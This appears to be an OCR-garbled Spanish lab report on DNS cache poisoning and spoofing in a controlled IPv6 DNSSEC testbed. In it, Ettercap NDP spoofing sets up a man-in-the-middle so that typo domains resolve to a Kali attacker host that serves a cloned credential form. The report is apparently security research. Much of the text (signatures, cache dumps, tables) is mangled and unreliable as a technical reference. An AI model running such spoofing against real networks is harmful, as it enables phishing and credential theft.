2001050303F2BECR PQS3MOCVSIFJIT18G94HVIMV1TIGEGSO) NS SCR RRAR
ERSIG DNSEEY NSEC3APARAM

’

a.

glue

gtld-servers.net.com. 603358 manmn 2001:503:3f::beca:2

MEMORIA CACHE

De igual forma se observa la memoria cache del servidor DNS validador para
determinar la informacion debido a las consultas realizadas. Las imagenes de
abajo se muestran los registros almacenados por dominio.

Memoria cache principal Para revisar envenenamiento

Dominio com

El cliente a validado el dominio com, por lo cual almacena los registros con el nivel
de confianza secure. Como el dominio com esta firmado el cliente almacena todos
los registros DNSSEC (RRSIG NS, DNSKEY, RRSIG DNSKEY) relacionados al

dominio com.

2, DNs
4 § DNs
b () Global Logs
4 (7] Cached Lookups
4 [ (root)
3 com
3 net
p -] Forward Lookup Zones
13 Reverse Lookup Zones
b ] Trust Points
b Conditional Forwarders

Ademas de almacenar el registro falso de coomunicate.com

Name Type Data Timestamp
- bancodk
comunicate
| net
(same as parent folder) Name Server (NS) a.gtld-servers.net.com. static
| (same as parent folder) Delegation Signer (DS) [15826][SHA-256][RSA/SHA-256][BDD30342A107821B70A580686D10F491F427206ACE91AEST6E2C...  static
| (same as parent folder) Delegation Signer (DS) [15826][SHA-1][RSA/SHA-256][F51C9F8375202C5F4B733A2CB4B97700EB269DET] static
| (same as parent folder) RR Signature (RRSIG) [DNSKEY][Inception(UTC): 8/19/2018 12:38:53 AM][Expiration(UTC): 9/18/2018 12:38:53 AM][com... static
| (same as parent folder) RR Signature (RRSIG) [DNSKEY][Inception(UTC): 8/19/2018 12:38:53 AM][Expiration(UTC): 9/18/2018 12:38:53 AM][com... ~ static
| (same as parent folder) RR Signature (RRSIG) [DS][Inception(UTC): 8/21/2018 9:48:46 AM][Expiration(UTC): 9/20/2018 9:48:46 AM](][RSA/SHA-...  static
| (same as parent folder) DNS KEY (DNSKEY) [256])[DNSSEC][RSA/SHA-256](26283] static
| (same as parent folder) DNS KEY (DNSKEY) [257][DNSSEC]{RSA/SHA-256](15826] static
] coomunicate IPv6 Host (AAAA) 2001:0012:7000:0000:0000:0000: cafe:0037 static

Servidor autoritario del dominio com.
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£ DNS
4 F ons
4[] Cached Lookups
4 5 Jroct)
4[] com

Data
2001:0503:003f:0000:0000:0000:beca:0002

Name

Ha

Timestamp
static

Type
|PvB Host (AAAA)

comunicate
a7 net
7| gtld-serve,
B[] net
“| Forward Lookup Zones
“ Reverse Lookup Zones
“ Trust Points
~ Conditional Forwarders
53l Global Loas

TT T T T

Dominios comunicate.com

El cliente a validado el dominio comunicate.com, por lo cual almacena los registros
con el nivel de confianza secure. Como el dominio esta firmado el cliente
almacena todos los registros DNSSEC (RRSIG NS, DNSKEY, RRSIG DNSKEY)
relacionados al dominio comunicate.com. Ademas de almacenar ell registros

AAAA para el dominio dnsl.comunicate.com.

VIND managen

File Action View Help
e 2mBcz Em A
2 DNS I Ii
4 § DNs { ] (same as parent folder) Name Server (NS) dnsl.comunicate.com. static
4 (7] Cached Lookups ] (same as parent folder) Delegation Signer (DS) [1510)[SHA-256][RSA/SHA-256)[BD6ES4FOF 714DB3979197B44ES03C24722865C671D356B70SAIFET...  static
4 G A(root) {](same as parent folder) Delegation Signer (DS) [1510)[SHA-1][RSA/SHA-256][053DCCFF7CDDFCS3AE6B7IE1F3EA2EECTABETD17] static
4 & com "] (same as parent folder) RR Signature (RRSIG) [DNSKEY][Inception(UTC): 8/16/2018 6:39:22 PM][Expiration(UTC): 9/15/2018 6:39:22 PM][comun... static
comunicate [ £ (came as parent folder) RR Signature (RRSIG) [DNSKEY][Inception(UTC): 8/16/2018 6:39:22 PM][Expiration(UTC): 9/15/2018 6:39:22 PM][comun... static
b il net {7 (same as parent folder) RR Signature (RRSIG) [DS][Inception(UTC): 8/19/2018 12:23:22 AM)[Expiration(UTC): 9/18/2018 12:23:22 AM][com.][RS...  static
. F:-wa:::i:okup Zones T[(sameas parent folder) DNS KEY (DNSKEY) [257)[DNSSEC]{RSA/SHA-256][1510] static
{] (same as parent folder) DNS KEY (DNSKEY) [256](DNSSEC){RSA/SHA-256](4644] static
b (7] Reverse Lookup Zones | - <
> B Trust Points Fldnst IPv6 Host (AAAA) 2800:03f0:4005:0403:0000:0000:baca:0002 static
» B Conditional Forward
b (§) Global Logs
Almacena registros falsos de las consultas realizadas.
£ DNS Mame Type Data Timestamp
4 F DNS I comunicate
4[| Cached Lockups “net
4 (2] Jroot) ] (same as parent folder) Nare Server (NS) a.gtld-servers.net.com. static
4= com ] (same as parent folder) Delegation Signer (DS) [15826][SHA-11[RSA/SHA-256][F5 1 COF375202C SFABT33A2C BABOTT00EB260DET] static
| comunicate || = came as parent folder) Delegation Signer (DS) [15826][SHA-256][RSA/SHA-256][BDD30942A107821B70A5806860 10F491FA27206AC691AESTEEC...  static
F o net E—\(same as parent folder) RR Signature (RRSIG) [DNSKEY][Inception(UTC): 8/19/2018 12:23:22 AM][Expiration(UTC): 9/18/2018 12:23:22 AM][com...  static
_ P [Enet ] (same as parent folder) RR Signature (RRSIG) [DNSKEY][Inception(UTC): 8/18/2018 12:23:22 AMI[Expiration(UTC): 9/18/2018 12:23:22 AM][com... static
'; - ;:::::LLDDDD:UU:ZZ:::: £ (same as parent folder) RR Signature (RRSIG) [DS]linception(UTC): 8/21/2018 %:48:46 AM][Expiration(UTC): 9/20/2018 9:48:46 AMI[J[RSA/SHA-...  static
b B Trust Points ] (same as parent folder) DINS KEY (DNSKEY) [25T][DNSSECI[RSA/SHA-2561[15626] static
» 1 Conditiona! Forwarders ] (same as parent folder) DINS KEY (DNSKEY) [256][DNSSEC][RSA/SHA-256][26223] static
» [ Global Logs = comunicaate IPv6 Host (AAAK) 2001:0012:7000:0000:0000:0000: cafe:0037 static
] coomunicate IPv6 Host (AAAK) 2001:0012:7000:0000:0000:0000:cafe:0037 static

Estos registros son almacenados debido que cuando al servidor cache se le
consulta sobre un dominio que no conoce, debe de preguntar al servidor
autoritario del dominio com, que en su momento es suplantado por el atacante
para enviar informacion falsa.
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Consulta coomunicate.com

No. Time Source Destination Protocol Length Info
2089 176.83195 2001:12:7000: : cafe: 25 2001:12:7000: : cafe:35 DNS 95 Standard query Oxe05d AAAA coomunicate.com
2090 176.83216 2001:12:7000: : cafe: 35 2001:503:3f: :beca: 2 DNS 106 Standard query 0x0c99 AAAA coomunicate.com
2091 176.83605 2001:12:7000: : cafe: 35 2001:12:7000: : cafe:25 DNS 123 standard query response Oxe05d AAAA 2001:12:7000::cafe:37
2092 176.83605 2001:503: 3f: :beca: 2 2001:12:7000: : cafe:35 DNS 123 standard query response 0x0c99 AAAA 2001:12:7000::cafe:37

123 Standard query response Ox0c99 AAAA 2001:

rame 2092: 123 bytes on wire (984 bits), 123 bytes captured (984 bits) on interface 0
thernet II, Src: CadmusCo_48:09:19 (08:00:27:48:09:19), Dst: CadmusCo_b4:24:90 (08:00:27:b4:24:90)
nternet Protocol Version 6, Src: 2001:503:3f::beca:2 (2001:503:3f::beca:2), Dst: 2001:12:7000::cafe:35 (2001:12:7000:: cafe:35)
ser Datagram Protocol, Src Port: 53 (53), Dst Port: 58234 (58234)
omain Name System (response)
Request In: 2090
[Time: 0.003889000 seconds]
Transaction ID: 0x0c99
Flags: 0x8400 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0
= Queries
coomunicate.com: type AAAA, class IN
© Answers
coomunicate.com: type AAAA, class IN, addr 2001:12:7000::cafe:37

Consulta comunicaate.com

MNo. Time Source Destination Protocol Length Info
3891 338.336402001:12:7000: : cafe:25 2001:12:7000: :cafe:35 DNS 95 Standard query 0x7416 AAAA comunicaate.com
3892 338.33667 2001:12:7000: : cafe:35 2001:503:3f: :beca:2 DNS 106 standard query 0x3af0 AAAA comunicaate.com
3893 338.343832001:12:7000: : cafe:35 2001:12:7000: :cafe:25 DNS 123 standard query response 0x7416 AAAA 2001:12:7000::cafe:37
3894 338.343832001:503:3f::heca:2 2001:12:7000: :cafe:35 DNS 123 standard query response 0x3af0 AAAA 2001:12:7000::cafe:37

123 standard query response Ox3af0 AAAA 2001:12:7000::cafe: 37|

Frame 3894: 123 bytes on wire (984 bits), 123 bytes captured (984 bits) on interface 0
thernet II, src: CadmusCo_48:09:19 (08:00:27:48:09:19), Dst: CadmusCo_b4:24:90 (08:00:27:b4:24:90)
Internet Protocol version 6, Src: 2001:503:3f::beca:2 (2001:503:3f::beca:2), Dst: 2001:12:7000::cafe:35 (2001:12:7000::cafe:35)
User Datagram Protocel, Src Port: 53 (53), Dst Port: 59410 (59410)
= Domain Name System (response)
Request In: 3892
[Time: 0.007164000 seconds]
Transaction ID: Ox3af0
Flags: 0x8400 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: O
Additional RRs: 0
= Queries
comunicaate.com: type AAAA, class IN
B Answers
comunicaate.com: type AAAA, class IN, addr 2001:12:7000::cafe:37

Para cuando el servidor autoritario real del dominio com responde, la respuesta es
desechada debido a que el servidor DNS cache se queda con la repuesta que

primero le llegue.

PoC de DNS Spoofing entre el Cliente Validador y el Servidor Cache cuando

el Cliente consulta por el nombre de dominio www.bancodk.com

1. Descripcion de la prueba

La prueba de concepto de DNS Spoofing se realizo en el escenario real de
pruebas controlado con la cadena de confianza rota, debido que en la red
externa el dominio com se encuentra sin firmar, mediante un ataque de
HOMBRE EN EL MEDIO con NDP spoofing entre el Cliente Validador y el
Servidor Cache.
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En este caso, se quiere suplantar la respuesta del Servidor DNS Autoritario
del dominio www.bancodk.com por la direccion IPv6 del atacante Kali, con
el propésito de envenenar la memoria del Servidor Cache insertando un
registro DNS falso en la TABLA DNS. De esta forma, en lugar de dirigir al
usuario o usuarios al sitio web legitimo, las victimas seran direccionadas al
sitio web falso clonado por el atacante, cuando realicen una consulta al
dominio www.bancodk.com.

Al efectuar la prueba se determinara si el Cliente validador con soporte de
validacion DNSSEC, es o no es vulnerable cuando el cliente validador
realice una consulta a ese sitio, de esta manera se evaluard si la prueba fue
exitosa o no, teniendo en cuenta que en este escenario los Clientes realizan
el proceso de validacion DNSSEC. Mientras que el Servidor Cache no.

6. Herramienta: Para la realizacion de la prueba se utilizé Ettercap, v2.8

7. Topologia de Red del Ambiente real de Prueba.

RED INTERNA
2001:12:7000::CAFE:0/112

ATACANTE

CAFE:25

ROUTER DE|
FRONTERA

www.bancodk.com Servidor Autoritario
dns1.bancodk.com

Figura. x Topologia de Red del Ambiente real de Prueba

8. Ambiente de la prueba:
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La prueba se desarroll6 en un escenario real de pruebas controlado que
cumple con las siguientes caracteristicas:

La cadena de confianza DNSSEC se encuentra rota (dominio com se
encuentra sin firmar.)

El proceso de validacion de las respuestas DNS es efectuado por el
Cliente Validador que posee tanto la clave publica del servidor raiz
f.root-servers.net como la del dominio bancodk.com.

Se realizé un ataque de hombre en el medio entre el Cliente Validador y
el Servidor Cache validador.

Como maquina atacante se utilizo la distribucion Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

El cliente validador Linux de la red interna CAFE, realiza las mismas
consultas en momentos de tiempo diferentes para determinar si siempre
se obtiene la misma informacién o respuesta cuando éste solicita una
consulta a www.bancodk.com.

El escenario real de pruebas se implementd con la distribuciéon Linux
Debian 9.4

9. Caracteristicas de los equipos involucrados en la prueba:

S.0 EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC INTERFACES
DEBIAN Servidor cache recursivo TARGET 2001:12:7000::cafe:5 08:00:27:F1:3C:A5 enp0s3
DEBIAN Cliente Validador TARGET 2001:12:7000::cafe:25 | 08:00:27:FB:19:D0 enp0s3

KALI

GNU/LINUX KALI Atacante 2001:12:7000::cafe:37 08:00:27:48:09:19 eth0

2018

Tabla N°. Caracteristicas de los equipos.
10. Resultados obtenidos de la Prueba:
SUPLANTACION |ENVENENAMIENTO DE | VALIDACION | VALIDACION POC

DOMINIO ESTADO MITM VALIDADORES DE DOMINIO CACHE CACHE CLIENTE EXITOSA

www.bancodk.com F
baancodk.com NF-|

Tabla N°. Resultados PoC
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Se obtiene que cuando la cadena de confianza esta rota, y el proceso de
validacion es realizado por el cliente, cuando se consulta por el dominio
bancodk.com se tiene que la PoC es no exitosa debido a que el cliente realiza el
proceso de validacion, mientras que por el efecto del MITM (cliente-cache), el

servidor no se ve involucrado en el preceso de consulta DNS.

Evidencias de la PoC

Ejecucion de la prueba desde Kali

Para realizar la prueba se comienza con la seleccion de los objetivos que se veran
involucrados en la prueba, el servidor autoritario del dominio banco y el servidor
cache DNS, como se muestra en la imagen de abajo

ettercap 0.8.2
Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List =
IP Address MAC Address Description
2001:12:7000::cafe:1 08:00:27:27:DB:30
2001:12:7000::cafe:2 08:00:27:50:64:6E

Bl 2001:12:7000::cafe:5  08:00:27:F1:2C:A5

2001:12:7000::cafe:6 08:00:27:B8:3B:2D

| | 2001:12:7000::cafe:25  08:00:27:FB:19:00 |
| Delete Host I Add to Target 1 ‘I Add to Target 2
FANUUITHANY =1L NUSES TOT 5Ldnmng...

Scanning the whole netmask for -1 hosts...
Probing 3 seconds for active IPv6 nodes ...

32 hosts added to the hosts list...

Host 2001:12:7000::cafe:25 added to TARGET1
Host 2001:12:7000::cafe:5 added to TARGET2

Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List x  |Targets x

Target 1 Target 2
2001:12:7000::cafe:25 2001:12:7000::cafe:5

Delete Add Delete

NDP poisoning victims:

GROUP 1: 2001:12:7000::cafe:25 08:00:27:FB:19:D0

P2

Add
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Efecto de Hombre en el Medio en el cliente

root@Cliente-validador:~# ip -6 neigh

TeB0::a00:27ff:fefl:2cab dev enpBs3 1laddr 08:00:27:f1:2c:ab STALE
TeB0::a00:271f:fe27:db30 dev enpBs3 1laddr 08:00:27:27:db:30 router STALE
2001:12:7000: :cafe:1 dev enpOs3 1laddr 08:00:27:27:db:30 router STALE
[2001:12:7000::cafe:5 dev enpfs3 1laddr 08:00:27:fl:2c:ad STALE

Después de empezar la ejecucidon del ataque se observa que esta relacion se ve
afectada por MITM, como se muestra en la imagen de abajo, donde la direccion
MAC del servidor DNS cache ha sido modificada por la del atacante

2001 12:7000: cafe 1 dev enpOs3 1laddr 08:00:27:27:db: 30 router STALE
Tebl::a00:271f:fefl:2cad dev enpls3 1laddr 08:00:27:T1:2c:a5 STALE
TeB0::a00:277T:Ted8:919 dev enpls3 lladdr 08: 00 2? 48 09 19 REAEHABLE

STALE

27 ff:fa27-dh30 do -
|2001 12:7000::cafe:3/ dev _enpfs3 lladdr 08 00 27:48:09:19 STALE

A continuacion desde la consola del cliente validador, se realizan una serie de
consultas para analizar las respuestas obtenidas.

Consultas

Se realiza una consulta al dominio www.bancodk.com como por el dominio
bancodk.com como efecto de una consulta con error tipografico

Primera consulta a dominio real

root@Cliente-validador:~# dig AAAA www.bancodk.com +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA www.bancodk.com +dnssec +multiline

;; global options: +cmd

;3 Got answer:
Bes ade: QUER_status: NOFRROR, id: 60258

| .. flags: gr rd ra Jd; QUERY: I, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 3

;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:

;www.bancodk. com. IN AAAA

; ANSWER SECTION:

Www. bancodk com. 604860 IN RRSIG AAAA 8 3 604800 (
20180915181449 20180816181449 59571 bancodk.com.

hr+Wou/PZ7z1yp+xRawKv118TG79VdC1jMkbGYoKS+hQ
+L83mMy8IqUydilA/BtFmorsfFITXDOiNU1/PBb8/KKs
6tHP9vnF1kK2G/vdOWmzQz3voBtpSTedTE/ESWbgNipb
5x+pnx4CII6Ah191S6epdMUFHUKGCcOnmaL1TYj+91AM7
PKPKHNTT7XTYeH/QL8XM4X//c1E4FNOGBESpnwzLspVe
15ZSOFHVYuA6P1EePoY0z4KcQVECHNS9kdfOLsa06umf
1XelzJ6Vt/QqejrElpkHzsculpdSolxcjQCUUGOmjY6L
Q1b/QObfS5T2/Pu5vdQBISDaSpSfiMoCHIw== )
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;+ AUTHORITY SECTION:

bancodk.com. 604800 IN NS dnsl.bancodk.com.

bancodk.com. 604800 IN RRSIG NS 8 2 604800 (
20180915181449 20180816181449 59571 bancodk.com.
KnrAA41GbYO6IWKjWtw2icynHx5SiurQwscoSax25F+v
XwB/317e2ZPsZN7Wz fWAayCY632c/+5qWOUwW+wuR/ehP
0jVQa8Zbx7tyRHKFGWSHDxpd1EqUu+IWD1aycQe5eX/T
218XWHIMANif/0u90iW3n8cqgflzz7BK0osItvtI6IUS2
Aro0OevEOq1MkdAamlh//X3FhPHsgh8FTpwgTL7KWWXAD
+b6Q0VDuU/bFD290mTSUdAeG2tFa3TLur9B4LSj2K3cze
Pv2/TP6gNMhLBrAS32I0f+aiyiGg6cN2eewERbItb+Yq
5D084D97P/iL+a/WiGbFHSCOC1tikLUpzA==

|;; ADDITIONAL SECTION:

i{dns1.bancodk.com. 604800 IN AAAA 2001:12:7000::cafe:2

|dns1.bancodk. com. 604800 IN RRSIG AAAA 8 3 604800 (
20186915181449 20180816181449 59571 bancodk.com.
Uf8Tv0803tkgSiAYvipCIpeZ3FkUXxvOTbImQFK30qBr
FdCd6MGDbP5y1j3TtV371F4sMLHxCFkozd@sT4+h/CbJ
1WymxU/n68ni26m3W+yg0ZPjKlyadFJOmdnygypABbVE
pZXECVLjn9IMdV6cQEIIP1i52ZPIe fKIBew7WaOmdqsP9
3EN8BJF9sZCSIniT/sH7FVVIR/v]onrt5gDBOk4IalF7r
PfRrhLpkH63VK6CRAF7ttDZaptNUj9h9k/jx+6LBOTm1
5/y307saMKZYv1BNZ0o381hhT+ZQNmtkyR2vCHKEaTD6U
y6Xj 3WH35b08yh17mH2V]50Q4tZQh7abyQ==

;3 Query time: 80 msec
;3 SERVER: 2001:12:7000::cafe:25#53(2001:12:7000::cafe:25)

;3 WHEN: Mon Aug 20 13:10:47 -05 2018
;3 MSG SIZE rcvd: 1016

Primera consulta a dominio inexistente

£\ Problema cargando la ... ¥ Formulario de Registro ®  Formulario de Registro *® | Formulario de Registro

- @ & | baancodk.com - | ‘ ‘Q Buscar

Formulario de Registro

CREA UNA CUENTA

Apellidos
Correo

Usuario Contrasefia

&Ya tienes una cuenta? Ingresa agul’

El cliente validador realiza un consulta al dominio baancodk.com exigiendo
validacion, a lo cual recibe una respuesta no validada (ausencia del bit ad) ,
registro AAAA 2001:12:7000::cafe:37 para el dominio bancodk.com, con status
NOERROR como se muestra en la imagen de abajo.
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root@liente-validador:~# dig AAAA baancodk.com +dnssec +multiline

; <<=> DiG 9.10.3-P4-Debian <<=> AAAA baancodk.com +dnssec +multiline
;i global options: +cmd
;1 Got answer:

lizﬂiliéﬂliﬂs;ipcoder QUERK_status: NOFRROR, id: 46436
;; flags: gr rd §a; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;3 OPT PSEUDOSECTION:
; EDNS: version: O, flags: do; udp: 4096
7+ QUESTION SECTION:

;baancodk. com. IN AAAA
baancodk. com. 3600 IN AAAA 2001:12:7000::cafe:37

;3 AUTHORITY SECTION:
com. 604780 IN NS a.gtld-servers.net.com.

;; ADDITIONAL SECTION:
a.gtld-servers.net.com. 604780 IN AAAA 2001:503:3f::beca:2

;i Query time: 34 msec

+: SERVER: 2001:12:7000::cafe:25#53(2001:12:7000::cafe:25)
;1 WHEN: Mon Aug 20 13:11:07 -05 2018

;i MSG SIZE rcwd: 130

Memoria Cache Para Revisar Envenemietno del Cliente

Se revisa la memoria cache del cliente validador, para observar los datos
almacenados en esta ante las consultas realizadas, utilizando el comando grep
para determinar si se ha almacenado informacién relacionada a la consulta
realizada.

root@liente-validador:/var/cache/bind# cat named dump.db | grep bancodk.com

bancodk. com. 604429 NS dns1.bancodk. com.
20180915181449 20180816181449 59571 bancodk.com.
20180915181449 20180816181449 18832 bancodk.com
20180915181449 20180816181449 59571 bancodk.com.

dns1.bancodk.com. 10429 \-A + -$NXRRSET

; bancodk.com. SOA dnsl.bancodk.com. admin.bancodk.com. 2 604800 864000 2419200 664800
20180915181449 20180816181449 59571 bancodk.com.

wwi . bancodk. com. 10429 \-DS  ;-$NXRRSET

; bancodk.com. SOA dnsl.bancodk.com. admin.bancodk.com. 2 604800 864000 2419200 664800

; bancodk.com. RRSIG SOA ..

; 33ERE14DKNNSDUN7HFMMILE]89VT0884 . bancodk. com. RRSIG NSEC3 ..

; 33ERE14DKNNSDUN7HFMMILEI89VT0884 . bancodk. com. NSEC3 1 1 20 200112027000CAFE 3TJ1UHI3VINEED2TSVNUCRAAAIQLIGTA AAAA RRSIG
20180915181449 20180816181449 59571 bancodk.com.

dns1.bancodk.con [v4 TTL 10429] [v4 nxrrset] [v6 unexpected]

root@Cliente-validador:/var/cache/bind# cat named_dump.db | grep baancodk.com
baancodk. com. 3249 AAAA 2001:12:7000: :cafe:37

Posiblemente en la memoria cache se ah almacenado informacion asociada a la
consulta bancodk.com

Memoria cache principal
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En las imagenes de abajo se puede observar los diferentes registro de recursos
almacenados de los dominios relacionados a la consultas.

Dominio com

El dominio com no se encuentra firmado, por lo cual el cliente ha almacenado
como un dato referencia que el dominio com tiene como NS a a.gtld-
servers.net.com, junto con los registros NSEC3 del dominio . relacionados a la
zona hija com. Informacio provista por el servidor autoritario del domino raiz por lo
cual almacena con nivel de confianza secure.

; glue
COTL . 604429 N3 a.gtld-servers.net.com.
; =Zecure

10449 \-DS ;-SNXRRSET
; . 30L f.root-servers.net. admin. 2 604800 864000 2419200 &04800
; - RRSIG SCA ...
; AOTTOOSPTJIEORGEGTNHOUDTUOZ4ES1CS. RRSIG NSEC3 ...
; BAOTTOOSPTJIGOAGEGTNHOUDTUOSZ4EB1ICS. NSEC2 1 1 20 2001053002FF2BEEE
OPCUITPMPFSIUVIS1INFSJ43D0B2HUUGM RARL RRSIG
; US4DIZEZVGESET79ViDS45DUBAJUTIOSMT. RRSIG NSEC3 ...
; US4DIZEZ2VGBSET7S3V3IDS4SDUBAJUTISMT. NSEC2 1 1 20 200105002FF2BEBE
GlEVFSTEeVQESHOVELVATIRIGSUSIPRTC NS SOR RLAAE RRSIG DNSEEY
NSEC3PARREM

Dominio inexistente bancodk.com

Se observar que en la memoria cache del cliente se ha almacenado que el
dominio bancodk.com corresponde al registro AAAA 2001:12:7000::café:37

; answer
baancodk.com. 3249 arpp 2001:12:7000::cafe:37

Dominio bancodk.com

Debido a que el domino bancodk.com esta firmado y que el cliente validador
posee anclas de confianza para el dominio bancodk.com almacena los registros
DNSSEC del dominio con un nivel de confianza secure ademas de almacenar el
registro AAAA 2001:12:7000::cafe:6 para el dominio www.bancodk.com
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; secure

bancedk.com.

; secure

bancodk.com.

; secure

bancodk.com.

604429

604425

604423

604429 NS  dnsl.bancodk.com. ; secure
RRSIGNS 8 2 604800 604429 DNSEEY 256 2 8 (
20180915161449 20180816161449 59571 AWERRDCPTBbhF2TaP/cOlrykYVIEYPirMsgY
1pTodkk/Fz0CASAcmOCr+w7dUHGNDVrEVHUR

EnrAA416bY06IWK]Wew2icynHx58iurgwsco dcMiJdeuDlLlzeg23iclM+ABBFHUIL/XFnhyYl
5ax25F+vXwB/3i7e22Ps2NTWzfWAayCY632¢c aRdvtA/VCsMfRpxS13nMFxpmA+LIRQO/+BvI
/+5qWOUw+wuR/ehP0jVQa8Zbx 1t yREKFGWSH ZNTiJTt+lok4UhmSaXoDeipEt7806mPSzECT
DxpdlEgUu+IWDlaycQe5eX/Tzi 8 xWHIMANL £ oYyV2aedQsrsVk+86xcXqihQu+1KSdGu7ilR
/0u%0iW3n8cgfIzz7ERCosItvtIETUSZALO0 £83vh9ebXBwp4 InwHAKGTtOcSPDLOY/ 4vxtE
;:gg;‘g;ﬁx};;gﬁxggggiggsgﬂﬂﬁ +2TRS51T1BR]XepG/ +DEhaCqglV2g512Jzvs
9B4LSj2R3czePv2/TPEgNMhLBrAS32I0f+ai i9+1KD4Y“B1?IqUEFNeP/m6U?deBP55GEdG
viGg6cN2eewERLItb+Yq5D084D9 TR/ i Lta /W dwlAp4QFREgiaIUIRE/B2rE=
1GbFHSCOC1tikLUpzA== ) ) ; ZSR; alg = RSRSHA256; key id =

RRSIGDNSKEY 8 2 604800 ( ; pending-answer

20180915181449 20180816181445 18832 insl.bancodk. com. 10429\-& ;-SNXRRSET

— C3bRDBMTVAvTsBznt JVKKK2 ; bancodk.com. SOA dnsl.bancodk.com. admin.bancodk.com. 2 604800

PLASWMScoJ2nzN7dl zpNoRB6BGYLEBFOGwyT 064000 2415200 €04800

8T41/Y3EBKGDR] tR6L/EuGghgaCuuD/ QeqRN ;i glue

gF6EDczP2jvl]jynbvuRoXv4AZpXZLgXNVrIrp 604429 AARR 2001:12:7000::cafe:2

S P IS L pening-acaitionay

nwe = v

2j40x.Y'MEOBuQOj‘l+ainTYakerl;‘yM+gRdeJ go4423 RRSIGARRA 8 3 604800 (

4y7nIINegaTENGHCSESaPY] I txT2TqDdv6xm 20180915181449 20180816181449 59571

vBl+nkThV7SEbFvtSd+oPHSEL3UeTkI6cax  bancodk.com.

DSXIXs]yJICJjTp+oFFc4DIRvE282TwN1d1lcE Uf8Tv0803tkgSiAYvipCIlpeZ 3FkUXxv0Thdm

kPleUogqTch/p+2ugRjEtg2eTpIFEAMLySded QFE30gBrFdCcdéMGDbRSylj3TtV371F4sMLHEx

it ai:i;’?‘x‘/’c‘“és;;;;ﬁgﬁzz CFkozd0sT4+h/CbI1UymxU/ nE8ni2 6m3i+yg

QrﬂnaNﬂdelzJ?égthTSmi;xg:AthtdOlXQ+”Vi 02Pj KJYadFJOmd“ngFA‘BhVDPZ‘xECVI'j nsMd

WEESUXqrQa5YMrhdyRshwoggOpHD/ rwlibLd VEcQES9pliS2ZPJefRI8ew/WalmégesPI3ENE

ErCkv87Cyclw25g02gTUNUCCMyXIpSREOPby JF9s2CS9niT/sHTEVVIR/ vJonrt SgDBOk4Ia

8a01TMS50e0N1VI¥YrRcEng9£5VFsT1+HLiHS 1F7rPERrhLpkHEIVEECRAFTttD2aptNU] Sh9

/2DWPPEGY72EeMyV1EAprzpfxFih8yShmunk k/jx+6LBOTm15/y3072aMRZYv1ENZo381hhT

rkU/WCEkik26bn¥40jnCpDoe£eDQPCLIfuM= ) +ZONmtkyR2vCHREaTDEUY 0% 3WH35608vh17

RRSIGDNSEEY & 2 €04800 (

20180915181449% 2018081618144% 59571

; secure

www.bancodk.com.10425 \-DS ;-$NXRRSET
bancodk.com. admin.bancodk.com. 2 604800

; bancodk.com. SCA dnsl.
864000 2419200 604800

; bancodk.com. RRSIG SO& ...
; 33ERE14DENNSDUN7HFMMJ1EJ89VT0884.bancodk.com. RR3SIG NSEC3 ...
; 33ERE14DENNSDUN7HFMMJ1EJ89VT0884 .bancodk.com. NSEC3 1 1 20
200112027000CAFE 3TJ1UHI3VONEED2TSVNUCRAAATIQLIGTA AAAA RRSIG

; secure
604429
; secure

604425

bancodk.com.

ARRR 2001:12:7000:

mH2ZVIS0Q4t20hTabyQ== ]

icafe: 6

BRSIGAARAR 8 3 604800 (
20180915181445 20180816181445 55571

hr+Wou/P27z1lyp+xRawkv118TG79VdCliMkb
GYoRS+hQ+1L83mMyB8IqUydila/BtFmors£FIT
XDOiNUL/PBEbB/ERs6tHPSVNF1kE2G/ vdOWmz
Qz3voBtpSTedTE/ESWbgNipbSx+pnx4CIT6R
h19156epdMUFHURGe9nmaLlTY i +91AMTpREE
HNTEf7XTYeH/QLAXM4X//ciE4FNOGBESpnwWzL
spV0i5280FHVYuR6P1EePoY02z4KeQVECHNSS
kdf0Lsa0tumflXelzJeVt/QgejrElpkHzscu
1pdSolxc]QCUUGOm) ¥E1Q1lb/ QOLEST2/PusSy
dQBISDaSpSfiMoCHSw== )

Efecto Hombre en el Medio Cache

Después de empezar la ejecucion del ataque se observa que la relaciéon IP-MAC
se ve afectada por MITM, como se muestra en la imagen de abajo, donde la

direccion MAC del cliente ha sido modificada por la del atacante.

root@validador:~# ip -6 neigh
12:7000::cafe:2 dev enp@s3 1laddr 08: ﬂﬂ 2? 50 64 ﬁe STALE

2001 :

aﬂﬂ 2?ff feSG 646e dev enp@s3 lladdr 08:00: 2? 50 64:6e STALE
.12.?000..cafe.1 dev enpBs3 1laddr 08:00:27:27:db:30 router STALE
::a00:27ff: Tefb:19d0 dev enp@s3 1laddr 08:00:27:fb:19:d@ STALE
'a00'2?ff'fe2?'db3ﬂ dev enpBs3 lladdr 08:00:27:27:db:30 router STALE
aﬂﬂ 27ff:Ted8:919 dev enpOs3 lladdr 03 00 2? 43 09 19 REACHABLE
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Memoria Cache Para Revisar Envenemietno del servidor cache

No se almacena en la moria cache del servidor DNS cache informacion
relaciondada a las consultas.

root@validador:/var/cache/bind# cat named_dump.db | grep bancodk.com
; e.f.a.c.0.0.0.0.0.0.0.0.0.0.0.0.60.6.0.7.2.1.0.0.1.0.0.2.1p6.arpa. SOA dnsl.bancodk.com. admin.bancodk.com. 2 6064800 864000 2419200 604800
bancodk. com. 603686 DNSKEY 256 3 8 (
20180915181449 20180816181449 18832 bancodk.com
20180915181449 20180816181449 59571 bancodk.com
dns1.bancodk. com. 9686  \-A 3 -$NXRRSET
; bancodk.com. SOA dnsl.bancodk.com. admin.bancodk.com. 2 604800 864000 2419260 604800
; bancodk.com. RRSIG SOA ...
; ACOVVPQ553IMA9BLKCO4AEAI3AUNMHUMY . bancodk.com. RRSIG NSEC3 ...
; ACOVVPQ553IMA9BLKCI4AEAI3AUMHUMY . bancodk.com. NSEC3 1 1 20 200112027008CAFE CIDIFVOBCSBUFBSDISSEMOBHAQFOKS0V AAAA RRSIG
